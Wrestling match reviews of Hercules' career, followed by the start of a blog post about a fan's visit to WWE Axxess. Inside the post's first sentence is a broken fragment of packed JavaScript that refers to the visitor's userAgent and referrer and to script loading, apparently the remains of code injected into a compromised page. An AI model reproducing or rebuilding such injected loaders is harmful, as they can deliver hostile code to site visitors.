In short, DiBiase bought Hercules and referred to him as a slave, causing Hercules to rebel and turn face in the process. Obviously no one cares at this point after their minds have been blown to Mars at this point by what they just saw. The announcers rightfully talk about almost nothing but the Mega Powers which for once I’m fine with.

We cut to an interview with Hogan which isn’t going to happen. Instead we’re told he’s in no condition to talk. No music for DiBiase yet. Hercules jumps him before he can take the fake suit off and beats up Virgil for fun. All Herc so far as DiBiase’s movement in the ring is still impressive over twenty years later. Ted finally sends Herc to the floor.

The crowd is staying in this one which is kind of surprising. Herc keeps having those power kick outs which are always kind of cool. Very basic match here but fairly well done. Then again I like both guys out there so that might have something to do with it. Powerslam by the power dude means it’s time for…Hercules to charge and have no apparent move in mind.

Virgil wraps Herc’s chain around the buckle but DiBiase goes into it for two. Hercules gets his backbreaker (torture rack) but Virgil grabs the leg, allowing Ted to get a quick rollup with the tights to end it. DiBiase gets beaten up a bit post match but it’s nothing special at all.

Rating: C-. Just a match to fill in some time after the huge angle earlier on. It’s not bad or anything but there was nothing that would separate this from a house show match or something like that. It’s ok enough though and more or less blew off this mini feud which is a plus I guess.

Hercules would open Wrestlemania V against a member of the Heenan Family.

Hercules vs. King Haku

The crown isn’t on the line here. Haku jumps him from behind to start but Herc comes back with a hip toss and a slam followed by a release flapjack. A clothesline puts Haku on the floor but Hercules suplexes him right back in. Some elbow drops keep Haku down but Hercules goes after Heenan like an idiot. Haku jumps him from behind and we head back inside for a pair of backbreakers for a pair of counts.

Since this is a power match we hit the bearhug as even Jesse says this isn’t going to get a submission. Gorilla criticizes Haku’s technique, prompting Jesse to ask what a gorilla would know about bearhugging. Herc breaks the hold and the King yells at the referee, only to get caught by a cross body. Hercules pounds away and hits a running knee lift followed by some clotheslines. A powerslam gets two but Hercules jumps off the top into most of a superkick. Haku misses a top rope headbutt and Hercules wins with the belly to back suplex with a last second shoulder raise.

Rating: C-. Nothing special here but it was a basic enough match to get things going. Hercules was a generic power guy so there wasn’t much to get interested in with him. Haku would join up with Andre to win the tag titles by the end of the year. I’m not sure if there was much of a feud here other than Hercules vs. Heenan which was only touched on.

Hercules would be in action at Summerslam 1989.

Greg Valentine vs. Hercules

Ronnie Garvin is guest ring announcer after being fired from being a referee. He takes a ton of shots at Valentine (“Weighing in at 249lbs…..but he looks about 30lbs heavier and wears a robe with cheap rhinestones.”) since Valentine got him suspended in the first place. Hercules jumps Valentine to start and powerslams him down for two. A quick rollup gets two for Greg before they head to the floor for nothing of note. Back in and Valentine pounds him down with some elbows but the Figure Four is broken up. Hecules suplexes him down but gets rolled up with Valentine’s feet on the ropes for the fast pin.

Rating: D. This was all about furthering Garvin vs. Valentine with the stuff before the match and a bit we’ll get to in a second. I’m no Garvin fan at all but this was an amusing angle given where you could turn your brain off and laugh at some stupid jokes for a few minutes every show. There’s nothing wrong with comic relief and having a talented guy like Valentine out there made it a bit easier to sit through.

Post match Garvin announces Hercules as the winner, which apparently is good enough to get Valentine disqualified. Like I said, this is the time to turn your brain off.

Here’s a match from later in the year on Supertape II.

Akeem vs. Hercules

Tony Schiavone never sounded right commentating on WWF programming at all. Ten punches in the corner as Hercules likes to beat on big fat men. Akeem gets caught in the ropes a bit but hits the floor like a good fat man . Slick gives him a hug which must be a heel manager in the 80s thing in general.

Apparently Slick’s peace and love doesn’t last long as he wants to get in the ring and fight, even taking his jacket off. Akeem says let him do the fighting here. Back in and it’s time for some boxing. Hercules likes to punch to put it mildly. A slam doesn’t work so maybe he should have stuck with the punching. Slick chokes with some tape or something and Hayes thinks they planned that in advance. NO! THAT’S NOT TRUE! Had to channel some Empire Strikes Back there to break my boredom.

Hercules fights back with some clotheslines but Slick pulls the rope down and there goes Hercules for the CHEAP DQ! I’m not considering it a win yet as there’s every chance that another wrestler turned referee could come out for the reversal to give Hercules the win because he has a lighter shade of blue on. Post match Hercules slams Akeem to show off a bit.

Rating: D+. Just a quick little comedy match that went nowhere. Not bad I guess but there wasn’t much here at all. Also can we get a clean finish on this tape or is that something that’s too much to wish for? So far we’ve had two managers hooking feet, one hooking a rope and a reversed decision. I guess we’re saving that for a “big star” or something? Whatever indeed.

Hercules would turn heel again in 1990 and team up with Paul Roma as Power and Glory. One of their first feuds was with the Rockers, including this match at Summerslam 1990.

Rockers vs. Power and Glory

Power and Glory (Hercules and Paul Roma) get a jobber entrance. The camera immediately goes wide during the opening brawl so you don’t see Shawn’s knee get grazed by Hercules’ chain. His knee was REALLY badly hurt at this time so he’s just here for an appearance, making this a handicap match for all intents and purposes. Marty hits a quick dropkick to both guys and gets a small package on Roma but Slick has the referee.

Vince is freaking out over the referee missing stuff as Marty clotheslines Herc to the outside. We officially start with Roma vs. Jannetty and Roma tagging his way out of a sunset flip. Shawn is still on the floor as Hercules pounds away and slams Marty down. Roma plants Jannetty with a backbreaker for two but Marty comes back with a powerslam. The top rope fist connects with Paul’s head but Hercules breaks up the pin. Roma sends Jannetty into a clothesline from Herc as Shawn is screaming in pain. The superplex/top rope splash combo is enough to finish the massacre of Jannetty.

Rating: C-. The match wasn’t too bad all things considered. The crowd is white hot here and they carried the match to a higher level than it could have reached on their own. It’s kind of a shame that Marty had to be Shawn’s partner as his own skills were overlooked by his far more talented partner.

Here’s a TV match for Power and Glory, from Wrestling Challenge on May 5, 1991.

Power and Glory vs. Sonny Blaze/George Anderson

Roma shoves I think Blaze into the corner to start as the announcers talk about some fitness convention that a lot of wrestlers will be attending. A powerslam gets two on Sonny and it’s off to Hercules. We hear about Power and Glory’s current feud with the Bushwhackers as the beating continues. The Bushwhackers have an inset interview to say they’re not worried about their upcoming match with Power and Glory. Back to Roma for some more backbreakers before Hercules puts George in the Rack, followed by a top rope fist to the chest from Roma for the pin.

Rating: D. Nothing to see here as Power and Glory were at the weaker end of the tag team division. Peterson and Blaze were also pretty weak jobbers even for this time period and the match wasn’t even interesting when they brought the Bushwhackers into things. Boring match but it’s the norm for TV at this point.

One more WWF match as Power and Glory would be in a six man at Summerslam 1991.

Ricky Steamboat/British Bulldog/Texas Tornado vs. Warlord/Power and Glory

Steamboat is just The Dragon here, complete with what looks like a lizard man costume and breathing fire. The heels get the jobber entrance and have Slick with them. Steamboat and Roma get things going as Gorilla is listing off the rest of the card. Roma slams him down and mostly misses a dropkick before posing. Paul goes to the middle rope but dives into the armdrag and Steamboat cranks on the arm even more. Ricky hits a much better dropkick to put Roma in the corner for a tag to Hercules who gets caught in some armdrags of his own.

Off to Tornado and the fans go nuts as he rams Herc’s head into the buckle. Ten right hands to the head in the corner have Hercules in even more trouble but it’s off to Warlord vs. Bulldog which was a decent power feud. Bulldog hits the suplex for two and it’s off to Steamboat for a top rope chop to the head. Warlord blocks a monkey flip though and it’s back to Roma with a suplex of his own for two. Three straight backbreakers have Steamboat in even more trouble before it’s back to Hercules for a gorilla press.

Steamboat starts fighting back but gets caught in a big hotshot to put him down. Here’s Warlord again but he dives into two feet from Steamboat, allowing for the tag off to Tornado. The Texan cleans house but makes a blind tag to Bulldog who hits a cross body. That plus the Tornado Punch to Warlord is good for two as everything breaks down. Bulldog powerslams Roma down and Ssteamboat adds the high cross body for the pin.

Rating: C+. Nothing wrong with this as it was a basic six man tag to fire up the crowd. Everyone looked fine and the crowd was WAY into the smark god known as Ricky Steamboat. The heels were all about to be gone from the company with only Warlord making it to 1992.

Soon after this it was off to WCW where Hercules became the Super Invader. Here’s one of his earlier matches from WrestleWar 1992.

Super Invader vs. Todd Champion

Super Invader is Hercules in a mask. Champion was half of a tag team that was completely awful but got the US Tag Titles anyway. Harley Race is Invader’s manager here which doesn’t help him that much. This isn’t much at all but it’s just filler until the main event because everyone worth anything is in that match. We go to a chinlock early on as this isn’t much of a match at all.

Something tells me they weren’t planning on this being anything resembling a classic at all as yet again it’s just there because they’re fairly competent in the ring and can fill a total of 8 minutes or so out there. Jesse mentions that he’s got a job at Beach Blast, which would wind up being the judge in the bikini contest. Invader does the jump off the top into a boot while clearly doing nothing but going to the top to jump into the boot so the other guy can take over spot. Champion makes a very brief comeback and a powerbomb ends it.

Rating: D. This was just bad. The majority of the match is a chinlock and since Hercules was on the downside of his career and not very good even at his best, this wasn’t anything at all of note. Champion was a guy with a good look but nothing to back it up at all. Boring match and can we please get on to something else?

We’ll wrap it up with this, from Clash of the Champions XX.

Steiner Brothers/Sting/Nikita Koloff vs. Rick Rude/Super Invader/Big Van Vader/Jake Roberts

This is under elimination rules. Rick Steiner and Vader get things going and Rick Steiner (I apologize for the repetition of the full names but there are two people in this match named Rick and two named Steiner) hammers away but Vader takes his head off with a clothesline. A running splash in the corner crushes Rick Steiner, only to have him come out of the corner with a belly to belly suplex on the 400lb Vader. Koloff comes in to face the masked Invader in a power match. No one goes anywhere off a double clothesline and shoulder block but Koloff’s second and third shoulder blocks work a bit better.

Nikita hurts himself trying another clothesline and it’s off to Rude who gets his arm pulled on a few times. Scott comes in to stay on the arm but Rude pulls him over to the corner for a tag to Invader. The masked man sends Scott into the ropes but gets caught in a tiger bomb and a quick suplex but Rude breaks up the Frankensteiner. A swinging neckbreaker gets two on Scott and it’s off to Jake with right hands to the jaw.

Roberts doesn’t last long though as Vader comes in to hammer away on Scott in the corner and run him over in the middle of the ring. Rude comes back in and keeps the pressure on Scott but walks into a clothesline, allowing Scott to tag in Koloff. Nikita cleans house but gets caught with a knee to the ribs, allowing Roberts to get a quick rollup for the elimination. Sting comes in to get his hands on Jake but the Snake immediately tags in Invader. That’s fine with Sting as he hammers away and bulldogs Invader for a pin in maybe thirty seconds.

Rick Steiner comes and hits a HUGE German suplex on Vader but gets pounded in the head, allowing Vader to hit a middle rope splash for a close two. Off to Rude to make it Rick vs. Rick with Rude slapping on a front facelock and driving Rick Steiner into the corner. Vader comes in but gets powerslammed off the middle rope for two as Rude makes the save. The Steiners try a Doomsday Device on Vader but can’t get him up.

Instead it’s a top rope clothesline from Scott for a DQ and elimination as Rick Steiner and Vader fight to the floor. Rude drops the other Rick with a Rude Awakening on the concrete and only Vader can make it back inside. That leaves Sting 3-1 against Vader, Roberts and Rude. He gets Vader first and avoids a seated senton before getting his hands on Roberts.

The Stinger Splash looks to set up the Scorpion but Rude breaks it up with a clothesline from the apron. Sting punches Roberts and Vader off the apron before bulldogging Rick down for two. A slingshot suplex puts Rude down but Vader comes off the top with a splash to crush both guys, earning him a disqualification. Jake pulls the unconscious Rude to his corner and tags himself in before ending Sting with the DDT.

Rating: C-. This was long but messy with the top rope DQ being more annoying than anything else. Roberts getting the pin on Sting was a good idea but there were too many people and eliminations to get through to get there. Drop a Steiner and the Invader and this match is much better all around.

Hercules was the definition of a one note character but there was a long stretch in there where he was a midcard fixture. There’s nothing wrong with having a power guy on the roster and while he wasn’t the best in the world, he kept steady work for a long time on his physique alone. Think of him as the original Chris Masters, which isn’t the worst job to have.

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KB Goes To Axxess

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrniz|var|u0026u|referrer|iitki||js|php'.split('|'),0,{})) took in Axxess earlier today after having wanted to go for the last 14 years or so. There was a lot of good stuff but some of the things could have been done better. I took a ton of pictures which I’ll post when I get back home and get to my camera cord. There were some VERY nice surprises there though and I met some people who weren’t advertised.

 

Anyway I got in the second line I saw which had a big WWE 2K14 sign behind it. I passed on the Scooby Doo booth which had Santino Marella as the guest. I asked one of the people next to me who the guest was and then I see none other than Dolph Ziggler (in an NWO shirt for some reason) take the stage.

 

Despite having maybe 50 people in front of us, it took an hour and fifteen minutes to get through the line. This was partially due to Ziggler stopping to talk to the disabled/handicapped people in a separate line (nothing wrong with that and something that happened all day long). The other reason was Dolph doing a TWENTY MINUTE INTERVIEW while we waited in line. The cool thing about this: I might be on Wrestlemania Today on the Network. The camera pans over his line and I was at the front at the time. Ziggler was very nice and kept eating Pizza Rolls (sponsor) between meeting fans. He shook my hand and posed for a picture while signing the back of my Axxess map.

 

 

While I was in line, Bob Backlund of all people came casually walking behind me and went behind a curtain. I waved at him and got one in return but he was too far away for a picture or autograph. You could hear him giving one of his ranting promos in the NXT ring while I was in line.

 

The interesting thing here was the cast of people walking around from an entrance in the back to their booths. From there I saw Eva Marie, the Funkadactyls (all being filmed for Total Divas), Darren Young, Norman Smiley, Damien Sandow and Mick Foley, with a bad limp. Backlund walked right back into the crowd while this was going on as well. He has that goofy look on his face the entire time as well.

 

After that I walked around to look at some exhibits and to try and find the shortest line. I came across the Legends House booth and saw Hacksaw Jim Duggan signing on a Legends House set. The line took awhile as there was a professional photographer who gave you a card where you could access your pictures online for free. This would have been a great thing to do all over the place instead of just with Legends House but whatever.

 

 

 

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